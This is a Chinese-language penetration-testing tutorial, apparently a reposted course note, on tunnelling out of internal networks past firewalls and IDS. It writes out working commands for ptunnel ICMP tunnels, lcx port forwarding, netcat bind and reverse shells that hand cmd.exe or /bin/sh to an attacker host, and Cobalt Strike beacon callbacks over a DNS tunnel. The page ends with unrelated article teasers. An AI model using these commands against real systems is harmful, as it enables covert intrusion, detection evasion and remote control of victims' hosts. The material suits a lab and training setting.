71内网安全-域横向网络传输应用层隧道技术

必备知识点;

代理和隧道技术的区别?

代理主要解决的是网络访问问题,隧道是对过滤的绕过,

隧道技术是为了解决什么

解决被防火墙一些设备,ids(入侵检测系统)进行拦截的东西进行突破,举个栗子;在实战情况可能会cs和msf没有办法上线或者得到回显,出口数据被监控,在拖数据的时候会被拦截,网络通信存在问题等 ;

隧道技术前期必备的条件?

应用场景四已经获得了一些控制权,但是不能对肉鸡进行信息收集等一些执行功能;比如利用shior反序列化得到了一些权限,但是漏洞上有ids,把后门放到了对方服务器但是cs上不了线,

这个时候就是隧道技术的应用场景,

在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截,比如你之前是用tcp协议,通过隧道技术可以把tcp协议转换成其他的协议封装出去;防火墙会对一些协议进行流量监控,有一些协议放行,我们就伪装成他放行的协议进行绕过;

在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统(ids)来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,防火墙会有拦截什么协议和端口的设置,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。

常用的隧道技术有以下三种:

网络层:IPv6隧道、ICMP隧道

传输层:TCP隧道、UDP隧道、常规端口转发

应用层:SSH隧道、HTTP/S隧道、DNS隧道 

案例一网络传输应用层检测连通性-检测 

探针他的协议是否支持,测试这个协议可不可以用。

在肉鸡没办法上线,通信有异常的时候,就要去绕过他,要绕过他肯定要选择一个隧道,隧道的协议有很多,我们确定对方支持什么样的隧道,比如我们想做icmp隧道,我们就要去检测,他支不支持icmp隧道的开启,

1.TCP协议

用“瑞士军刀”netcat,执行nc命令:

    nc <IP> <端口>

2.HTTP协议

用curl工具,执行:

    curl <IP地址:端口>

如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息

3.ICMP协议

用ping命令,执行:

    ping <IP地址/域名>

4.DNS协议

检测DNS连通性常用的命令是nslookup和dig

nslookup是windows自带的DNS探测命令

dig是linux系统自带的DNS探测命令 

再用隧道之前,要先探针一下,对应的隧道协议,对方是否是支持的,

案例二网络层ICMP隧道ptunnel使用-检测,利用 

拓扑图

目的;通过web服务器,实现对dc端的控制,但是dc上面有防火墙和ids防护

现在已经得到了dc上面的账号密码,但是现在我不可能用本机连接到dc端的,

利用工具;

老版本介绍:https://github.com/f1vefour/ptunnel(需自行编译),不推荐已经不更新了

新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发版) 

pingtunnel是把tcp/udp/sock5流量伪装成icmp流量进行转发的感觉,

-p      表示连接icmp隧道另一端的机器IP(即目标服务器)

-lp     表示需要监听的本地tcp端口

-da    指定需要转发的机器的IP(即目标内网某一机器的内网IP)

-dp    指定需要转发的机器的端口(即目标内网某一机器的内网端口)

-x      设置连接的密码

利用之前先判断一些icmp协议可不可以用,判断一下隧道可不可行,通过ping命令判断完可写,

首先现在web肉鸡上执行一条命令

./ptunnel -x xiaodi     xiaodi就是设置的密码   在web肉鸡上把工具启动

在kali上运行

./ptunnel -p 192.168.76.150(web肉鸡的ip) -lp 1080(kali1 080端口) -da 192.168.33.33(靶机ip) -dp 3389(靶机3389端口) -x xiaodi(链接密码) #转发的3389请求数据给本地1080

这句代码的意思;请求web肉鸡,成功之后监听自己的1080端口,讲33的网段的3389数据都传输到本机1080端口,就是借助的web肉鸡请求的靶机,

原理;kali能连接web肉鸡,web肉鸡作为跳板机,借助web肉鸡的33网段,去链接dc端,dc端上的数据就通过3389端口给到kali的1080端口

最后我就直接通过,在kali执行命令

rdesktop 127.0.0.1 1080 通过一个远程终端连接kali的1080端口

这样就建立隧道连接了,我们去看一下靶机的3389端口

在被web肉鸡链接,但web肉鸡上面又没有上面操作,最后的请求来源还是在kali上

远程桌面登录成功,走的还是icmp协议,并不是靶机3389的协议,和之前走3389远程终端是一模一样的,但走的协议不一样,这就是隧道

他是将相关的数据包,通过防火墙所允许的类型,协议来进行封装。

案例三传输层转发隧道Portmap使用-检测,利用 

传输层:TCP隧道、UDP隧道、常规端口转发;现在讲这个

Windows:lcx

Linux:portmap 

常用的两款工具

下载:https://pan.baidu.com/s/1EoGZYVejTrBHBAvhndHLuQ , 提取码:fn9o(github上的没有了) 

拓扑图;现在条件;本机可以和web肉鸡联通,我现在要攻击sql靶机,这个原理可以说就是端口转发

直接输入命令进行

lcx -slave [web肉鸡IP] 6666 127.0.0.1 3389 

这条命令就是将本机的3389端口数据给到肉鸡的3131端口,

在web肉鸡上

lcx -listen [本机端口] [攻击机端口]

    lcx -listen 6666 7777

监听自己的6666端口,给到7777端口

然后用kali监听web肉鸡的7777端口

rdesktop web肉鸡ip 转发端口7777

然后就远程登录界面就出来了

简单来说,就是靶机把自己流量给出去,给到肉鸡的端口,然后肉鸡再把端口给另一个本机可以监听的端口,然后我们在监听可以监听的端口数据,就可以了

案例四传输层转发隧道Netcat使用-检测,利用,功能 

Netcat这个是干嘛用的, 它上面有一些功能

1.双向连接反弹shell 

正向,我连接肉鸡

肉鸡;

nc -ldp 1234 -e /bin/sh     linux模式
 nc -ldp 1234 -e c:\windows\system32\cmd.exe   windwos模式# nc把自身的cmd会话反弹给1234端口 

攻击主机;

nc 192.168.1.81 1234

本机就直接链肉鸡的1234端口

执行命令返回的肉鸡的ip

注意要确保Netcat是最新版,因为旧版不支持  -e 这个参数

反向:受害主机链接我

# 攻击
nc -lvp 1234     # 监听1234端口

# 受害主动连接  
nc 攻击主机 IP 1234 -e /bin/sh      linux肉鸡
nc 攻击主机 IP 1234 -e c:\windows\system32\cmd.exe      windwos肉鸡 # nc把cmd会话反弹给攻击机的1234端口

接受到了cmd会话

肉鸡能找到我就用反向,肉鸡找不到我就用正向,我去找肉鸡

2. 多向连接反弹 shell - 配合转发(这个案例比较鸡肋)

配合之前的端口转发工具Portmap,刚刚的案例是利用Portmap连接的3389端口,我这个时候可以不连接3389端口,而是把会话反弹回来;有权限之后想操作肉鸡,利用端口转发实现

web肉鸡上运行

# 监听本地的 2222 转发到3333上
god\Webserver:Lcx.exe -listen 2222 3333

然后还有一个sql靶机,sql只有3的网段,本机链接不上她,接下来就实现kali控制sql靶机

nc 192.168.22.141 2222 -e c:\windows\system32\cmd.exe  # nc把cmd会话反弹给跳板机的 2222 端口

sql靶机就把cmd发送给了web肉鸡的2222端口

然后卡里就可以链接web肉鸡的,监听他的3333端口

nc -v 192.168.1.81 3333

实现控制了sql靶机

nc走的是tcp协议,如果对方没有过滤tcp协议,就可以通过nc实现控制主机,


3.相关netcat主要功能测试 

指纹服务:nc -nv 192.168.76.143

端口扫描:nc -v -z 192.168.76.143 1-100

端口监听:nc -lvp xxxx

文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1

反弹Shell:见上 

应用层DNS隧道配合CS上线-检测,利用,说明 

这个层面在实战中经常会用到,

应用层:SSH隧道、HTTP/S隧道、DNS隧道 

利用dns隧道,实现cs的上线,

今天的隧道技术是把相关的数据传输换了一个隧道传输,

连接上cs

这个监听器就是隧道的意思,假如我们生成了一个http后门,对方是流量监控的,防火墙检测http,通过http协议传输的时候要受到监控,现在再用http生成后门上线肯定有问题,因为防火墙已经封锁http了,

老师监控这里就已经有两个后门了,http的后门就要通过http协议和靶机相互通信

dns协议就通过dns相互通讯

有时候用cs生成后门上不了线的原因,就有一个这样的情况,防火墙有检测

现在就走dns隧道

当常见协议监听器被拦截时,可以换其他协议上线,其中 dns 协议上线基本通杀,把数据通过dns给出去,

1.云主机Teamserver配置端口53启用-udp 

2. 买一个域名修改解析记录如下:

A 记录->cs 主机名->CS 服务器 IP

就相当于我访问我本机搭建的域名的时候就访问cs的ip

NS 记录->ns1 主机名->上个 A 记录地址

最后到本机域名又是到cs的ip

NS 记录->ns2 主机名->上个 A 记录地址

3.配置DNS监听器内容如下:

ns1.xiaodi8.com

ns2.xiaodi8.com

cs.xiaodi8.com 

监听启动之后

然后就是生成后门

配置方法:

“Listeners”“Add”,“Payload”选“Beacon DNS”,“DNS Hosts”填入“ns1.xiaodi8.com”和“ns2.xiaodi8.com”,“DNS Host(Stager)”填“cs.xiaodi8.com” 

然后选择后门的的是dns协议

然后把生成的后门上传到肉鸡,开始执行

这时候主机是黑框的,显示unkown

这就是dns上线,dns上线有个问题就是速度慢,他传输数据库有一个响应的过程,然后还要再执行几条命令才能实现控制,

命令:

    checkin 

    mode dns-txt 

等待他回显,

成功上线,

总结;先测试对方接受什么协议,然后把传输的数据包封装成她能接受的数据包的协议,解决数据走不通某个协议的问题。

fa

cai

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/590040.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Bye~ 2023

Bye~ 2023 2023年是奔波的一年&#xff0c;跨越了半个中国&#xff0c;将base搞到了浙江。来这边的第一感受就是&#xff0c;太…热了&#xff0c;太…潮了&#xff0c;太…冷了。没错&#xff0c;一个北方人在南方的冬天觉得冷。。。你敢信&#xff1f;不过遇到的人是真的很n…

2023-12-11 LeetCode每日一题(最小体力消耗路径)

2023-12-11每日一题 一、题目编号 1631. 最小体力消耗路径二、题目链接 点击跳转到题目位置 三、题目描述 你准备参加一场远足活动。给你一个二维 rows x columns 的地图 heights &#xff0c;其中 heights[row][col] 表示格子 (row, col) 的高度。一开始你在最左上角的格…

自定义富集分析结果的term顺序

大家好&#xff0c;元旦过得还好吗&#xff1f;之前我们聊过如果富集分析结果不理想&#xff0c;如何选择富集分析的terms&#xff0c;如果不记得&#xff0c;可以看看这三个推文和视频。 ​富集分析结果不理想&#xff1a;如何从上千个term中找到自己想要所有term&#xff1f;…

Spark 集群搭建

文章目录 搭建前准备安装搭建解压并重命名环境变量配置配置文件yarn-site.xmlspark-env.sh 官网求 π(PI) 案例启动spark-shell通过浏览器查看显示查看 Spark 的网页信息展示 搭建前准备 下载地址&#xff1a;Index of /dist/spark (apache.org) 配置好 hadoop 环境&#xff…

HttpClient入门

HttpClient入门 简介 HttpClient 是 Apache HttpComponents 项目中的一个开源的 Java HTTP 客户端库&#xff0c;用于发送 HTTP 请求和处理 HTTP 响应。它提供了一组强大而灵活的 API&#xff0c;使得在 Java 程序中执行 HTTP 请求变得相对简单 maven依赖 org.apache.httpco…

【BIG_FG_CSDN】C++ 数组与指针 (个人向——学习笔记)

一维数组 在内存占用连续存储单元的相同类型数据序列的存储。 数组是静态存储器的块&#xff1b;在编译时确定大小后才能使用&#xff1b; 其声明格式如下&#xff1a; 元素类型 数组名[常量]&#xff1b;元素类型&#xff1a;数组中元素的数据类型&#xff1b; 常量&#…

租房数据分析可视化大屏+58同城 Django框架 大数据毕业设计(附源码)✅

毕业设计&#xff1a;2023-2024年计算机专业毕业设计选题汇总&#xff08;建议收藏&#xff09; 毕业设计&#xff1a;2023-2024年最新最全计算机专业毕设选题推荐汇总 &#x1f345;感兴趣的可以先收藏起来&#xff0c;点赞、关注不迷路&#xff0c;大家在毕设选题&#xff…

【力扣题解】P105-从前序与中序遍历序列构造二叉树-Java题解

&#x1f468;‍&#x1f4bb;博客主页&#xff1a;花无缺 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! 本文由 花无缺 原创 收录于专栏 【力扣题解】 文章目录 【力扣题解】P105-从前序与中序遍历序列构造二叉树-Java题解&#x1f30f;题目描述&#x1f4a1;题…

Node.js+Express 路由配置,实现接口分类管理

首先创建一个路由目录及文件 routes/user.js代码 const express require(express); const router express.Router(); // 使用express提供的router对象 const db require(../dbserver/mysql);router.get(/api/user, (req, res) > {const sqlStr SELECT * FROM sys_user;…

StratifiedKFold解释和代码实现

StratifiedKFold解释和代码实现 文章目录 一、StratifiedKFold是什么&#xff1f;二、 实验数据设置2.1 实验数据生成代码2.2 代码结果 三、实验代码3.1 实验代码3.2 实验结果3.3 结果解释3.4 数据打乱对这种交叉验证的影响。 四、总结 一、StratifiedKFold是什么&#xff1f; …

SpringBoot 中获取 Request 的四种方法

SpringBoot 中获取 Request 的四种方法 方法1、Controller中加参数来获取request方法2、自动注入来获取request方法3&#xff1a;基类中自动注入&#xff08;推荐&#xff09;方法4&#xff1a;从RequestContextHolder中获取request 方法1、Controller中加参数来获取request 一…

Eclipse汉化

目录 一、首先电脑已经下载好Eclipse 二、打开Eclipse Babel 三、打开Eclipse 1、工具栏——>Help——> Install New Software 2、 点击Add 3、添加复制的链接&#xff0c;点击Add 4、等待加载 5、勾选Chinese&#xff08;Simpliied&#xff09;&#xff0c;而后Next&…

动画墙纸:将视频、网页、游戏、模拟器变成windows墙纸——Lively Wallpaper

文章目录 前言下载github地址&#xff1a;网盘 关于VideoWebpagesYoutube和流媒体ShadersGIFs游戏和应用程序& more:Performance:多监视器支持&#xff1a;完结 前言 Lively Wallpaper是一款开源的视频壁纸桌面软件&#xff0c;类似 Wallpaper Engine&#xff0c;兼容 Wal…

算法题明明的随机数

第一行先输入随机整数的个数 N 。 接下来的 N 行每行输入一个整数&#xff0c;代表明明生成的随机数。 具体格式可以参考下面的"示例"。 import java.util.Iterator; import java.util.Scanner; import java.util.TreeSet; // 注意类名必须为 Main, 不要有任何 pa…

HarmonyOS 组件通用属性之通用事件 文档参数讲解(触摸事件)

好 本文 我们来说说触摸事件 字面意思也非常好理解 就是我们手机手指触摸物体触发 我们先在编辑器组件介绍中 找到这个东西的基本用法 Button("跳转").onTouch((event: TouchEvent) > {})最明显的就是 event 的类型变了 点击事件的是 ClickEvent 而这里是 Touc…

CMake入门教程【基础篇】开关(option)

文章目录 1.概述2.定义简单选项3.使用选项控制宏4.设置缓存变量5.设置高级选项6.使用选项设置变量 1.概述 option 是 CMake 中用于定义选项的命令。选项可以用来控制代码的编译行为&#xff0c;允许用户在构建过程中进行配置选择。 option 命令的语法如下&#xff1a; option(&…

PID为1的僵尸进程的产生及清理

父进程PID为1的僵尸进程通常是由init系统&#xff08;在Linux系统中通常是systemd&#xff09;产生的。这种情况通常发生在以下几种情况&#xff1a; 子进程结束&#xff0c;但其父进程没有正确地调用wait()或waitpid()系统调用来获取子进程的退出状态。在这种情况下&#xff0…

主成分分析(PCA):探索数据的核心

文章目录 前言1. 什么是 PCA &#xff1f;2. PCA 的原理2.1 协方差和方差2.2 核心思想2.3 步骤 3. PCA 的应用场景4. PCA 的优缺点5. 示例&#xff1a;人脸识别5.1 完整代码5.2 运行结果 结语 前言 当今社会&#xff0c;数据无处不在。从社交媒体到金融交易&#xff0c;从医疗…

十大排序算法——排序算法效率比较——选择排序、冒泡排序、选择排序、希尔排序、归并排序、快速排序、堆排序、计数排序、桶排序、基数排序

都2024年了&#xff0c;就不要看这种纯文字的教程了吧。一文包含十大排序算法。作者把算法原理和代码实现分为两个链接&#xff0c;如果想挑战一下自己的代码能力&#xff0c;可以选择只学习算法原理&#xff0c;代码完全由自己实现。 算法名称教程地址选择排序选择排序算法原…

【代码解析】代码解析之生成token(1)

本篇文章主要解析上一篇&#xff1a;代码解析之登录&#xff08;1&#xff09;里的第8行代码调用 TokenUtils 类里的genToken 方法 https://blog.csdn.net/m0_67930426/article/details/135327553?spm1001.2014.3001.5501 genToken方法代码如下&#xff1a; public static S…